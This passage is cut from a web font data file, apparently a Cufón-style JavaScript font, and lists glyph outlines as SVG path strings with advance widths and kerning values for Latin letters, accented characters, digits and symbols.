,-47r72,0r0,-39r-72,0","w":216},{"d":"115,-209r56,-51r-57,0r-34,51r35,0xm87,5v26,-1,46,-14,58,-31r0,26r49,0r0,-186r-51,0v-6,57,22,153,-40,151v-56,-2,-24,-99,-32,-151r-52,0v4,83,-24,196,68,191","w":213},{"d":"75,-99v-74,3,9,134,-75,124r0,40v49,4,88,-3,90,-48v1,-42,-12,-101,33,-100r0,-31v-43,-1,-32,-58,-33,-101v-1,-45,-41,-52,-90,-48r0,40v24,-2,40,2,39,26v-2,45,-6,97,36,98","w":119},{"d":"84,-260r-40,51r38,0r23,-29r23,29r42,0r-40,-51r-46,0xm87,5v26,-1,46,-14,58,-31r0,26r49,0r0,-186r-51,0v-6,57,22,153,-40,151v-56,-2,-24,-99,-32,-151r-52,0v4,83,-24,196,68,191","w":213},{"d":"21,-283r0,360r38,0r0,-360r-38,0","w":80},{"d":"31,-257r0,116r38,0r0,-116r-38,0xm98,-257r0,116r38,0r0,-116r-38,0","w":166},{"d":"119,-257r-123,257r60,0r26,-57r81,0r0,57r177,0r0,-48r-123,0r0,-63r113,0r0,-43r-113,0r0,-56r120,0r0,-47r-218,0xm101,-99r49,-111r13,0r0,111r-62,0","w":353},{"d":"305,-110v3,-53,-78,-62,-106,-31v-11,12,-16,27,-16,45r37,0v-7,-35,46,-47,48,-12v-15,50,-87,40,-85,108r120,0r0,-29r-75,0v21,-32,74,-31,77,-81xm55,-254v-3,23,-21,30,-46,30r0,27r39,0r0,99r37,0r0,-156r-30,0xm204,-260r-149,268r31,0r148,-268r-30,0","w":320},{"d":"200,-176v29,60,-5,161,-86,130v-8,-3,-14,-7,-20,-13xm80,-79v-29,-64,6,-161,87,-132v8,3,14,8,20,14xm14,-127v0,38,11,67,29,89r-31,34r18,16r30,-33v20,16,45,28,80,27v81,-3,124,-52,126,-133v0,-39,-11,-68,-28,-91r30,-34r-18,-15r-29,32v-19,-17,-46,-28,-81,-28v-82,2,-124,53,-126,136","w":280},{"d":"108,-153v33,0,44,27,44,59v0,33,-11,61,-44,61v-32,0,-45,-26,-45,-60v0,-34,12,-60,45,-60xm95,5v27,0,47,-10,57,-29r0,24r49,0r0,-257r-51,0r-1,94v-10,-16,-30,-28,-55,-28v-56,2,-82,41,-82,96v0,57,25,100,83,100","w":219},{"d":"37,-114v-7,58,-17,112,-14,180r54,0v3,-67,-7,-123,-14,-180r-26,0xm78,-136r0,-55r-56,0r0,55r56,0","w":100},{"d":"23,-260r-39,51r38,0r23,-29r23,29r42,0r-40,-51r-47,0xm21,-186r0,186r51,0r0,-186r-51,0","w":92},{"d":"186,-138v0,-73,-135,-64,-160,-21v-5,8,-8,18,-9,30r51,0v1,-20,14,-25,34,-28v32,-5,48,38,15,44v-47,9,-105,5,-105,62v0,67,94,68,126,33v0,6,2,12,3,18r52,0v-13,-34,-7,-93,-7,-138xm63,-53v0,-37,51,-22,72,-38v2,37,-5,63,-41,62v-18,0,-31,-5,-31,-24","w":206},{"d":"117,-225v-1,-45,-87,-39,-103,-12v-3,5,-6,11,-7,19r37,0v-1,-10,10,-16,18,-16v11,0,21,2,21,14v-9,28,-79,-3,-79,49v0,43,57,44,79,22r2,11r37,0v-9,-20,-4,-59,-5,-87xm57,-158v-12,2,-25,-15,-11,-23v10,-6,28,-5,37,-12v0,21,-4,36,-26,35","w":123},{"d":"107,-33v-58,-1,-57,-120,1,-120v22,0,35,11,38,32r50,0v-4,-47,-37,-70,-87,-70v-63,0,-95,40,-95,101v0,56,32,86,81,94v-5,12,-26,25,-10,34v10,-3,28,-5,28,9v0,20,-32,11,-44,6r-8,17v28,12,89,16,87,-28v-1,-22,-25,-29,-46,-23r10,-15v49,-1,80,-29,85,-75r-49,0v-3,23,-17,38,-41,38","w":206},{"d":"122,0r63,-186r-50,0r-40,127r-40,-127r-53,0r64,186r56,0","w":187,"k":{".":27,",":27}},{"d":"8,-39r0,39r171,0r0,-39r-104,0r97,-109r0,-38r-157,0r0,38r90,0","w":186},{"d":"34,-257r0,42r-48,0r0,-42r48,0xm108,-257r0,42r-49,0r0,-42r49,0","w":93},{"d":"79,-328r0,42r48,0r0,-42r-48,0xm153,-328r0,42r49,0r0,-42r-49,0xm140,-41v-49,0,-70,-37,-70,-86v0,-50,20,-89,70,-89v50,0,70,39,70,89v0,49,-21,86,-70,86xm140,-263v-82,0,-126,53,-126,136v0,81,45,133,126,133v81,0,126,-52,126,-133v0,-83,-44,-136,-126,-136","w":280},{"d":"80,-260r-40,51r39,0r23,-29r23,29r42,0r-40,-51r-47,0xm62,-113v-2,-35,46,-53,70,-30v7,6,11,17,13,30r-83,0xm148,-58v-14,38,-95,32,-86,-23r134,0v1,-64,-27,-110,-91,-110v-60,0,-90,39,-95,98v-9,108,157,134,183,35r-45,0","w":206},{"d":"45,-257r0,42r49,0r0,-42r-49,0xm120,-257r0,42r48,0r0,-42r-48,0xm87,5v26,-1,46,-14,58,-31r0,26r49,0r0,-186r-51,0v-6,57,22,153,-40,151v-56,-2,-24,-99,-32,-151r-52,0v4,83,-24,196,68,191","w":213},{"d":"247,-113v3,14,0,36,1,52r-42,0xm248,-32r0,32r35,0r0,-32r20,0r0,-29r-20,0r0,-90r-36,0r-68,85r0,34r69,0xm55,-254v-3,23,-21,30,-46,30r0,27r39,0r0,99r37,0r0,-156r-30,0xm204,-260r-149,268r31,0r148,-268r-30,0","w":321},{"d":"126,-191v-26,0,-44,14,-55,31r0,-97r-52,0r0,257r52,0v6,-57,-22,-151,39,-151v57,0,25,98,33,151r51,0v-5,-83,25,-191,-68,-191","w":213},{"d":"80,-260r-40,51r39,0r23,-29r23,29r42,0r-40,-51r-47,0xm186,-138v0,-73,-135,-64,-160,-21v-5,8,-8,18,-9,30r51,0v1,-20,14,-25,34,-28v32,-5,48,38,15,44v-47,9,-105,5,-105,62v0,67,94,68,126,33v0,6,2,12,3,18r52,0v-13,-34,-7,-93,-7,-138xm63,-53v0,-37,51,-22,72,-38v2,37,-5,63,-41,62v-18,0,-31,-5,-31,-24","w":206},{"d":"8,-90v0,56,33,90,86,95r0,36r21,0r0,-36v46,-6,76,-30,81,-78r-50,0v-1,21,-14,35,-31,40r0,-120v16,2,30,15,30,33r50,0v-2,-46,-35,-68,-80,-71r0,-31r-21,0r0,31v-55,6,-86,41,-86,101xm94,-33v-46,-9,-48,-111,0,-119r0,119"},{"d":"120,-223r0,-40v-49,-4,-89,3,-90,48v-1,43,11,101,-33,101r0,31v45,-1,31,58,33,100v1,45,41,52,90,48r0,-40v-24,2,-40,-2,-39,-26v2,-46,5,-95,-36,-98v75,-7,-7,-140,75,-124","w":119},{"d":"63,-12v13,27,-16,43,-47,33r0,42v46,7,81,-3,95,-40r78,-209r-53,0r-41,127r-42,-127r-55,0","w":186,"k":{".":27,",":27}},{"d":"55,-126v0,-30,17,-51,46,-51v28,0,43,21,43,51v0,31,-16,51,-44,51v-29,0,-45,-22,-45,-51xm28,-177v-23,22,-25,79,0,102r-21,21r20,21r21,-21v21,23,84,23,104,-1r20,21r20,-20r-20,-20v22,-22,22,-81,1,-104r20,-20r-22,-22r-21,21v-21,-22,-81,-20,-102,0r-20,-20r-21,21"},{"d":"105,-263v-58,-1,-85,30,-85,86r0,177r51,0r0,-186v0,-24,17,-39,42,-34v15,2,26,12,25,31v0,24,-22,34,-46,31r0,34v34,-5,57,12,57,43v0,31,-25,50,-57,42r0,42v65,11,108,-23,108,-82v0,-36,-19,-56,-47,-65v19,-6,33,-26,33,-50v0,-48,-34,-68,-81,-69","w":219},{"d":"22,-55r0,55r56,0r0,-55r-56,0","w":100},{"d":"232,0r59,-186r-53,0r-35,126r-31,-126r-50,0r-32,126r-34,-126r-54,0r59,186r53,0r33,-125r33,125r52,0","w":293,"k":{".":20,",":20}},{"d":"112,-209r55,-51r-56,0r-35,51r36,0xm186,-138v0,-73,-135,-64,-160,-21v-5,8,-8,18,-9,30r51,0v1,-20,14,-25,34,-28v32,-5,48,38,15,44v-47,9,-105,5,-105,62v0,67,94,68,126,33v0,6,2,12,3,18r52,0v-13,-34,-7,-93,-7,-138xm63,-53v0,-37,51,-22,72,-38v2,37,-5,63,-41,62v-18,0,-31,-5,-31,-24","w":206},{"d":"72,-328r0,42r49,0r0,-42r-49,0xm146,-328r0,42r49,0r0,-42r-49,0xm133,6v68,-1,110,-33,110,-103r0,-160r-57,0r0,160v0,39,-14,56,-53,56v-38,0,-53,-20,-53,-56r0,-160r-56,0r0,160v-1,70,39,103,109,103","w":266},{"d":"118,-209r56,-51r-57,0r-34,51r35,0xm110,-33v-33,0,-45,-26,-45,-60v0,-34,12,-60,45,-60v33,0,45,26,45,60v0,34,-12,60,-45,60xm110,-191v-62,0,-96,37,-96,98v0,61,34,98,96,98v62,0,96,-37,96,-98v0,-61,-34,-98,-96,-98","w":219},{"d":"125,-280r56,-51r-57,0r-34,51r35,0xm25,-257r0,257r195,0r0,-48r-139,0r0,-63r125,0r0,-43r-125,0r0,-56r136,0r0,-47r-192,0","w":233},{"d":"32,-257r0,42r49,0r0,-42r-49,0xm106,-257r0,42r49,0r0,-42r-49,0xm63,-12v13,27,-16,43,-47,33r0,42v46,7,81,-3,95,-40r78,-209r-53,0r-41,127r-42,-127r-55,0","w":186},{"d":"112,-209r55,-51r-56,0r-35,51r36,0xm62,-113v-2,-35,46,-53,70,-30v7,6,11,17,13,30r-83,0xm148,-58v-14,38,-95,32,-86,-23r134,0v1,-64,-27,-110,-91,-110v-60,0,-90,39,-95,98v-9,108,157,134,183,35r-45,0","w":206},{"d":"72,-215r0,-42r-51,0r0,42r51,0xm21,-186r0,186r51,0r0,-186r-51,0","w":92},{"d":"123,-351v-27,0,-44,18,-44,44v0,26,18,44,44,44v26,0,44,-17,44,-44v0,-27,-17,-44,-44,-44xm123,-282v-14,0,-23,-12,-23,-25v0,-13,9,-25,23,-25v14,0,23,11,23,25v0,14,-9,25,-23,25xm90,-99r34,-95r32,95r-66,0xm95,-257r-97,257r57,0r20,-57r96,0r19,57r59,0r-96,-257r-58,0","w":246},{"d":"176,-162v0,28,-31,19,-56,21r0,-40v23,3,56,-6,56,19xm206,-160v0,-54,-64,-43,-116,-44r0,150r30,0r0,-64r19,0r37,64r31,0r-40,-66v24,-2,39,-14,39,-40xm144,-23v-63,0,-102,-42,-102,-106v0,-63,39,-105,102,-105v63,0,102,43,102,105v0,63,-39,106,-102,106xm144,-263v-82,0,-138,51,-138,134v0,85,57,135,138,135v81,0,138,-50,138,-135v0,-83,-56,-134,-138,-134","w":288},{"d":"19,-209r35,-51r57,0r-56,51r-36,0","w":93},{"d":"69,-331r56,51r36,0r-35,-51r-57,0xm133,6v68,-1,110,-33,110,-103r0,-160r-57,0r0,160v0,39,-14,56,-53,56v-38,0,-53,-20,-53,-56r0,-160r-56,0r0,160v-1,70,39,103,109,103","w":266},{"w":100},{"d":"199,-144r0,-41r-182,73r0,42r182,73r0,-42r-132,-52","w":216},{"d":"59,-148r0,-90r-38,0r0,90r38,0xm21,-58r0,90r38,0r0,-90r-38,0","w":80},{"d":"1,-192v0,43,33,64,79,63r0,188r36,0r0,-287r40,0r0,287r37,0r0,-316v-82,4,-192,-22,-192,65","w":223},{"w":100},{"d":"-8,-328r0,42r48,0r0,-42r-48,0xm66,-328r0,42r48,0r0,-42r-48,0xm25,-257r0,257r56,0r0,-257r-56,0","w":106},{"d":"21,-257r0,257r51,0r0,-257r-51,0","w":92},{"d":"-10,-331r55,51r35,0r-34,-51r-56,0xm25,-257r0,257r56,0r0,-257r-56,0","w":106},{"d":"-14,-257r0,42r48,0r0,-42r-48,0xm59,-257r0,42r49,0r0,-42r-49,0xm21,-186r0,186r51,0r0,-186r-51,0","w":92},{"d":"206,-98v1,-65,-25,-100,-59,-135r41,-20r-19,-21r-44,22v-11,-9,-23,-17,-36,-24r-33,25v11,5,21,11,30,18r-38,20r21,20r40,-20v12,10,33,29,36,45v-60,-38,-136,6,-131,79v4,59,36,94,96,94v62,0,95,-41,96,-103xm155,-93v0,34,-12,60,-45,60v-33,0,-45,-26,-45,-60v1,-31,13,-55,44,-55v31,0,46,23,46,55","w":219},{"d":"25,-257r0,257r53,0r0,-172r107,172r57,0r0,-257r-53,0r-1,172r-107,-172r-56,0","w":266},{"d":"96,-263r-100,269r41,0r101,-269r-42,0","w":133},{"d":"62,-280r55,-51r-57,0r-34,51r36,0xm25,-257r0,257r56,0r0,-257r-56,0","w":106},{"d":"140,-216v30,0,51,18,56,45r55,0v-8,-58,-48,-92,-111,-92v-82,0,-126,53,-126,136v0,76,40,123,110,132v-5,11,-24,23,-10,33v11,-3,29,-5,29,9v0,20,-32,11,-44,6r-8,17v28,12,90,16,87,-28v-1,-21,-25,-29,-46,-23r9,-13v67,-3,105,-41,112,-105r-55,0v-3,33,-23,59,-58,58v-49,-2,-70,-37,-70,-86v0,-50,20,-89,70,-89","w":266},{"d":"110,-33v-33,0,-45,-26,-45,-60v0,-34,12,-60,45,-60v33,0,45,26,45,60v0,34,-12,60,-45,60xm110,-191v-62,0,-96,37,-96,98v0,61,34,98,96,98v62,0,96,-37,96,-98v0,-61,-34,-98,-96,-98","w":219},{"d":"108,-46v-18,1,-30,12,-30,30v0,43,61,35,61,0v0,-17,-12,-30,-31,-30xm108,-196v-15,0,-31,14,-30,30v0,19,14,29,31,31v17,-2,30,-14,30,-31v0,-17,-13,-30,-31,-30xm17,-110r0,38r182,0r0,-38r-182,0","w":216},{"d":"53,-331r55,51r36,0r-35,-51r-56,0xm25,-257r0,257r195,0r0,-48r-139,0r0,-63r125,0r0,-43r-125,0r0,-56r136,0r0,-47r-192,0","w":233},{"d":"117,-331r-40,51r39,0r23,-29r22,29r42,0r-39,-51r-47,0xm140,-41v-49,0,-70,-37,-70,-86v0,-50,20,-89,70,-89v50,0,70,39,70,89v0,49,-21,86,-70,86xm140,-263v-82,0,-126,53,-126,136v0,81,45,133,126,133v81,0,126,-52,126,-133v0,-83,-44,-136,-126,-136","w":280},{"d":"132,-280r55,-51r-56,0r-35,51r36,0xm90,-99r34,-95r32,95r-66,0xm95,-257r-97,257r57,0r20,-57r96,0r19,57r59,0r-96,-257r-58,0","w":246},{"d":"113,-153v32,0,44,28,45,60v1,34,-13,60,-45,60v-31,0,-44,-26,-44,-60v0,-34,12,-60,44,-60xm124,-191v-24,0,-42,12,-53,29r0,-95r-52,0r0,322r52,0r0,-88v11,16,30,28,56,28v56,-2,82,-41,82,-96v0,-58,-26,-99,-85,-100","w":219},{"d":"102,-163v46,-23,33,-94,-27,-94v-42,0,-65,25,-65,63r37,0v-8,-36,47,-47,48,-12v-15,49,-88,40,-85,108r120,0r0,-29r-75,0v11,-16,29,-27,47,-36","w":141},{"d":"75,0r54,0r0,-50r57,0r0,-34r-57,0v-1,-12,1,-21,6,-27r51,0r0,-34r-34,0r56,-112r-59,0r-46,112r-48,-112r-58,0r55,112r-34,0r0,34r51,0v5,6,7,15,6,27r-57,0r0,34r57,0r0,50"},{"d":"93,-209v0,17,-17,17,-34,17r0,25v20,-1,37,1,37,20v0,15,-12,23,-26,23v-19,0,-26,-14,-28,-29r-34,0v-2,39,26,58,63,58v57,0,87,-71,33,-86v48,-23,15,-76,-33,-76v-35,0,-59,21,-59,55r35,0v0,-14,8,-27,24,-26v11,0,23,7,22,19","w":141},{"d":"183,-113v-5,-47,68,-60,79,-17v2,5,3,11,3,17r-82,0xm265,-58v-2,33,-55,37,-71,12v-6,-9,-11,-21,-11,-35r133,0v-2,-61,-23,-109,-86,-110v-30,0,-48,8,-62,25v-34,-45,-156,-28,-149,38r51,0v-1,-22,15,-29,35,-29v29,-6,49,32,19,41v-44,13,-110,4,-110,66v0,73,119,66,145,23v27,44,122,40,143,-5v6,-8,9,-16,12,-26r-49,0xm139,-68v6,41,-74,56,-74,15v0,-36,52,-21,74,-38r0,23","w":326},{"d":"96,-284v16,-43,100,38,110,-44r-25,0v-18,37,-98,-40,-107,44r22,0xm140,-41v-49,0,-70,-37,-70,-86v0,-50,20,-89,70,-89v50,0,70,39,70,89v0,49,-21,86,-70,86xm140,-263v-82,0,-126,53,-126,136v0,81,45,133,126,133v81,0,126,-52,126,-133v0,-83,-44,-136,-126,-136","w":280},{"d":"94,-331r-40,51r39,0r23,-29r22,29r42,0r-40,-51r-46,0xm25,-257r0,257r195,0r0,-48r-139,0r0,-63r125,0r0,-43r-125,0r0,-56r136,0r0,-47r-192,0","w":233},{"d":"100,-37v-44,0,-42,-58,-41,-106v1,-35,6,-72,41,-72v47,0,41,63,41,114v0,30,-9,64,-41,64xm100,-257v-71,0,-92,55,-92,130v0,77,22,132,92,132v71,0,93,-57,93,-132v0,-74,-22,-130,-93,-130"},{"d":"100,-331r-40,51r39,0r23,-29r22,29r42,0r-39,-51r-47,0xm90,-99r34,-95r32,95r-66,0xm95,-257r-97,257r57,0r20,-57r96,0r19,57r59,0r-96,-257r-58,0","w":246},{"d":"140,-216v30,0,51,18,56,45r55,0v-8,-58,-48,-92,-111,-92v-82,0,-119,54,-126,136v-11,132,176,180,228,72v6,-13,10,-28,11,-44r-55,0v-3,33,-23,59,-58,58v-49,-2,-70,-37,-70,-86v0,-50,20,-89,70,-89","w":266},{"d":"199,-36r0,-110r-182,0r0,38r143,0r0,72r39,0","w":216},{"d":"79,-284v16,-43,100,39,110,-44r-24,0v-20,36,-98,-39,-108,44r22,0xm90,-99r34,-95r32,95r-66,0xm95,-257r-97,257r57,0r20,-57r96,0r19,57r59,0r-96,-257r-58,0","w":246},{"d":"62,-84v0,-27,13,-47,41,-47v26,0,38,21,38,48v0,26,-13,46,-38,46v-27,0,-41,-21,-41,-47xm106,-219v18,0,30,17,34,32r48,0v-6,-43,-34,-70,-81,-70v-72,0,-99,60,-99,132v0,73,24,130,96,130v56,0,84,-37,89,-92v7,-76,-99,-107,-135,-55v1,-38,12,-77,48,-77"},{"d":"199,-33r0,-39r-182,0r0,39r182,0xm199,-110r0,-39r-182,0r0,39r182,0","w":216},{"d":"95,65r0,-328r-95,0r0,40r44,0r0,248r-44,0r0,40r95,0","w":119},{"d":"255,-61r-42,0r42,-52r0,52xm255,-32r0,32r35,0r0,-32r20,0r0,-29r-20,0r0,-90r-36,0r-68,85r0,34r69,0xm99,-209v-1,17,-17,17,-34,17r0,25v20,-1,37,2,38,20v0,14,-13,23,-27,23v-18,0,-26,-13,-27,-29r-35,0v-1,38,26,58,63,58v57,0,87,-72,33,-86v48,-23,15,-76,-33,-76v-35,0,-59,21,-59,55r35,0v0,-14,8,-27,24,-26v11,0,23,6,22,19xm235,-260r-149,268r31,0r149,-268r-31,0","w":320},{"d":"196,-125v-2,45,-18,77,-64,77r-51,0r0,-162v74,-7,119,15,115,85xm252,-130v0,-80,-40,-127,-116,-127r-111,0r0,257r111,0v78,-2,116,-51,116,-130","w":266},{"d":"67,-98r-67,98r57,0r39,-59r39,59r58,0r-68,-99r61,-87r-57,0r-32,48r-33,-48r-58,0","w":193},{"d":"39,-58v24,-69,105,38,145,-21v15,-12,-2,-30,-7,-45v-7,12,-13,25,-31,26v-38,-11,-101,-48,-122,7","w":216},{"d":"144,0r86,-257r-59,0r-58,181r-58,-181r-58,0r84,257r63,0","w":226,"k":{"y":6,"u":13,"r":13,"o":20,"i":6,"e":20,"a":20,"A":17,";":17,":":17,".":46,"-":20,",":46}},{"d":"-17,-260r55,51r36,0r-35,-51r-56,0xm21,-186r0,186r51,0r0,-186r-51,0","w":92},{"d":"24,-263r0,328r96,0r0,-40r-44,0r0,-248r44,0r0,-40r-96,0","w":119},{"d":"126,-191v-27,0,-46,14,-58,31r0,-26r-49,0r0,186r52,0v6,-57,-22,-151,39,-151v57,0,25,98,33,151r51,0v-5,-83,25,-191,-68,-191","w":213},{"d":"100,-150v-19,0,-38,-12,-38,-34v0,-24,17,-35,38,-35v24,0,38,12,38,35v0,21,-17,34,-38,34xm100,-257v-47,4,-85,23,-85,69v0,26,16,46,38,52v-29,7,-48,28,-48,62v2,55,42,79,96,79v53,0,94,-25,94,-79v0,-33,-19,-56,-47,-62v69,-30,29,-127,-48,-121xm101,-33v-26,0,-44,-16,-45,-43v-1,-26,21,-40,45,-40v25,1,43,15,43,40v0,27,-18,43,-43,43"},{"d":"57,47v1,20,-33,11,-45,6r-8,17v28,12,89,16,87,-28v-1,-22,-25,-29,-46,-23r14,-20r-18,0r-21,31v5,15,37,-3,37,17","w":93},{"d":"31,-257r0,116r38,0r0,-116r-38,0","w":100},{"d":"-2,-263v50,87,51,241,0,328r42,0v62,-78,61,-247,0,-328r-42,0","w":106},{"d":"59,-331r56,51r35,0r-34,-51r-57,0xm90,-99r34,-95r32,95r-66,0xm95,-257r-97,257r57,0r20,-57r96,0r19,57r59,0r-96,-257r-58,0","w":246},{"d":"25,-257r0,257r56,0r0,-111r104,0r0,111r57,0r0,-257r-57,0r0,99r-104,0r0,-99r-56,0","w":266},{"d":"149,-280r55,-51r-56,0r-35,51r36,0xm140,-41v-49,0,-70,-37,-70,-86v0,-50,20,-89,70,-89v50,0,70,39,70,89v0,49,-21,86,-70,86xm140,-263v-82,0,-126,53,-126,136v0,81,45,133,126,133v81,0,126,-52,126,-133v0,-83,-44,-136,-126,-136","w":280},{"d":"116,-171v-24,-1,-38,11,-50,18r10,-57r104,0r0,-42r-141,0r-25,139r46,0v20,-34,87,-21,83,27v-2,28,-16,48,-44,49v-25,0,-38,-16,-41,-38r-52,0v3,52,40,80,94,80v56,0,94,-36,94,-91v0,-49,-26,-83,-78,-85"},{"d":"66,-162v-32,0,-31,-68,0,-68v32,1,31,67,0,68xm66,-257v-38,0,-62,24,-62,61v0,37,24,61,62,61v38,0,62,-24,62,-61v0,-37,-24,-61,-62,-61","w":132},{"d":"87,5v26,-1,46,-14,58,-31r0,26r49,0r0,-186r-51,0v-6,57,22,153,-40,151v-56,-2,-24,-99,-32,-151r-52,0v4,83,-24,196,68,191","w":213},{"d":"114,-249r0,27r-134,0r0,-27r134,0","w":93},{"d":"78,-127r0,-56r-56,0r0,56r56,0xm22,-55r0,55r56,0r0,-55r-56,0","w":100},{"d":"76,-331r56,51r35,0r-34,-51r-57,0xm140,-41v-49,0,-70,-37,-70,-86v0,-50,20,-89,70,-89v50,0,70,39,70,89v0,49,-21,86,-70,86xm140,-263v-82,0,-126,53,-126,136v0,81,45,133,126,133v81,0,126,-52,126,-133v0,-83,-44,-136,-126,-136","w":280},{"d":"273,-22v-26,0,-24,-32,-23,-57v1,-15,6,-29,24,-29v24,1,23,30,22,56v-1,16,-7,30,-23,30xm274,-135v-42,1,-61,27,-61,69v0,43,17,71,59,71v42,0,61,-27,61,-69v0,-42,-15,-72,-59,-71xm240,-260r-149,268r32,0r148,-268r-31,0xm87,-144v-26,0,-23,-29,-23,-55v0,-16,7,-31,24,-31v32,0,33,85,-1,86xm88,-257v-42,0,-60,30,-61,71v-1,42,16,69,59,69v42,-1,61,-24,61,-67v0,-43,-16,-73,-59,-73","w":360},{"d":"40,-260r55,51r36,0r-35,-51r-56,0xm62,-113v-2,-35,46,-53,70,-30v7,6,11,17,13,30r-83,0xm148,-58v-14,38,-95,32,-86,-23r134,0v1,-64,-27,-110,-91,-110v-60,0,-90,39,-95,98v-9,108,157,134,183,35r-45,0","w":206},{"d":"110,-331r-40,51r39,0r23,-29r22,29r43,0r-40,-51r-47,0xm133,6v68,-1,110,-33,110,-103r0,-160r-57,0r0,160v0,39,-14,56,-53,56v-38,0,-53,-20,-53,-56r0,-160r-56,0r0,160v-1,70,39,103,109,103","w":266},{"d":"102,-209r55,-51r-56,0r-35,51r36,0xm63,-12v13,27,-16,43,-47,33r0,42v46,7,81,-3,95,-40r78,-209r-53,0r-41,127r-42,-127r-55,0","w":186},{"d":"89,-36v-22,-4,-38,-21,-38,-48r-51,0v4,55,34,86,89,90r0,30r22,0r0,-30v79,5,121,-95,59,-141v-12,-10,-37,-18,-59,-22r0,-64v16,0,30,18,29,35r52,0v-3,-49,-35,-71,-81,-77r0,-28r-22,0r0,28v-47,5,-82,26,-83,77v-1,53,43,64,83,75r0,75xm111,-105v42,1,51,55,13,66v-5,2,-9,3,-13,3r0,-69xm89,-162v-36,0,-42,-47,-12,-57v4,-1,8,-2,12,-2r0,59"},{"d":"62,-113v-2,-35,46,-53,70,-30v7,6,11,17,13,30r-83,0xm148,-58v-14,38,-95,32,-86,-23r134,0v1,-64,-27,-110,-91,-110v-60,0,-90,39,-95,98v-9,108,157,134,183,35r-45,0","w":206},{"d":"173,-184v1,42,-53,29,-92,31r0,-60v38,2,91,-11,92,29xm228,-193v1,-90,-120,-58,-203,-64r0,257v93,-3,215,22,215,-75v-1,-35,-18,-56,-47,-65v21,-10,34,-25,35,-53xm184,-78v0,46,-60,32,-103,34r0,-70v45,2,103,-12,103,36","w":253},{"d":"15,-74r57,45r0,-43r-33,-26r33,-25r0,-44r-57,45r0,48xm88,-74r57,45r0,-43r-33,-26r33,-25r0,-44r-57,45r0,48","w":159},{"d":"104,0v4,-88,33,-163,82,-208r0,-44r-172,0r0,48r120,0v-44,52,-79,120,-85,204r55,0"},{"d":"196,-125v-2,45,-18,77,-64,77r-51,0r0,-64r58,0r0,-42r-58,0r0,-56v74,-7,119,15,115,85xm252,-130v0,-80,-40,-127,-116,-127r-111,0r0,103r-24,0r0,42r24,0r0,112r111,0v78,-2,116,-51,116,-130","w":266},{"d":"129,-280r55,-51r-57,0r-34,51r36,0xm91,-100r0,100r57,0r0,-99r95,-158r-63,0r-59,101r-61,-101r-63,0","w":240},{"d":"17,-39r0,42r182,-73r0,-42r-182,-73r0,41r132,53","w":216},{"d":"74,-254v-3,23,-21,30,-46,30r0,27r39,0r0,99r37,0r0,-156r-30,0","w":141},{"d":"139,-189v-34,-8,-59,14,-71,37r0,-34r-49,0r0,186r52,0v1,-69,-16,-160,68,-142r0,-47","w":140,"k":{"q":6,"o":6,"n":-6,"g":10,"e":6,"d":6,"c":6,".":33,"-":20,",":33}},{"d":"140,6v32,0,54,-13,71,-35r5,29r36,0r0,-139r-108,0r0,42r57,0v-4,36,-23,56,-61,56v-49,0,-70,-37,-70,-86v0,-50,20,-89,70,-89v30,0,49,17,54,44r54,0v-6,-59,-47,-91,-108,-91v-82,0,-126,53,-126,136v0,81,45,133,126,133","w":273},{"d":"22,-55r0,55r56,0r0,-55r-56,0xm63,-77v7,-58,17,-112,14,-180r-54,0v-3,67,7,123,14,180r26,0","w":100},{"d":"110,5v91,0,122,-113,71,-167r20,-22r-13,-12r-20,22v-64,-42,-154,-3,-154,81v0,28,7,51,23,68r-21,25r13,11r21,-24v16,12,36,18,60,18xm149,-126v25,49,-19,124,-70,80xm70,-62v-12,-37,-4,-92,40,-91v13,0,23,4,30,12","w":219},{"d":"50,-134v-16,0,-31,14,-30,31v1,18,13,30,31,30v17,0,28,-13,30,-30v-2,-17,-12,-31,-31,-31","w":100},{"d":"90,-99r34,-95r32,95r-66,0xm95,-257r-97,257r57,0r20,-57r96,0r19,57r59,0r-96,-257r-58,0","w":246,"k":{"y":6,"w":6,"v":6,"Y":27,"W":9,"V":17,"T":33}},{"d":"191,-178v4,-80,-111,-102,-155,-50v-15,17,-24,42,-23,73r49,0v1,-30,10,-56,40,-58v41,-3,47,53,20,75v-47,37,-113,55,-114,138r185,0r0,-44r-120,0v33,-51,114,-52,118,-134"},{"d":"23,-33r27,27r58,-58r58,58r27,-27r-58,-58r58,-58r-27,-27r-58,58r-57,-58r-27,27r57,58","w":216},{"d":"24,-257r0,257r51,0r0,-64r20,-19r51,83r62,0r-78,-118r70,-68r-60,0r-65,67r0,-138r-51,0","w":206},{"d":"131,-136r0,-55r-57,0r0,55r57,0xm12,1v0,71,111,90,152,44v14,-15,23,-36,24,-63r-53,0v9,47,-71,66,-67,14v3,-49,68,-45,58,-112r-49,0v2,64,-65,49,-65,117"},{"d":"87,-212r0,-45r-29,0r0,45r-40,-16r-10,28r42,14r-27,35r24,18r25,-37r27,37r24,-18r-27,-35r43,-14r-10,-28","w":146},{"d":"39,-260r35,51r-36,0r-55,-51r56,0","w":93},{"d":"175,-140v0,46,-50,38,-94,39r0,-77v44,0,94,-8,94,38xm230,-140v0,-76,-67,-88,-149,-82r0,-35r-56,0r0,257r56,0r0,-57v82,6,150,-7,149,-83","w":240},{"d":"87,-148r35,0r-6,44r-35,0xm42,-71r-10,71r35,0r10,-71r34,0r-9,71r34,0r10,-71r31,0r0,-33r-26,0r6,-44r31,0r0,-33r-26,0r9,-71r-35,0r-9,71r-35,0r10,-71r-35,0r-10,71r-34,0r0,33r30,0r-7,44r-34,0r0,33r30,0"},{"d":"78,-127r0,-56r-56,0r0,56r56,0xm22,59v52,-4,61,-53,56,-114r-56,0r0,55r26,0v-1,18,-10,30,-26,33r0,26","w":100},{"d":"25,-257r0,257r56,0r0,-106r108,0r0,-44r-108,0r0,-60r125,0r0,-47r-181,0","w":213,"k":{"A":20,".":57,",":57}},{"d":"42,-257r0,42r49,0r0,-42r-49,0xm116,-257r0,42r49,0r0,-42r-49,0xm186,-138v0,-73,-135,-64,-160,-21v-5,8,-8,18,-9,30r51,0v1,-20,14,-25,34,-28v32,-5,48,38,15,44v-47,9,-105,5,-105,62v0,67,94,68,126,33v0,6,2,12,3,18r52,0v-13,-34,-7,-93,-7,-138xm63,-53v0,-37,51,-22,72,-38v2,37,-5,63,-41,62v-18,0,-31,-5,-31,-24","w":206},{"d":"109,65v-51,-85,-52,-243,0,-328r-43,0v-59,80,-62,247,0,328r43,0","w":106},{"d":"84,-252r-62,139r42,0r44,-99r44,99r42,0r-62,-139r-48,0","w":216},{"d":"40,-260r55,51r36,0r-35,-51r-56,0xm186,-138v0,-73,-135,-64,-160,-21v-5,8,-8,18,-9,30r51,0v1,-20,14,-25,34,-28v32,-5,48,38,15,44v-47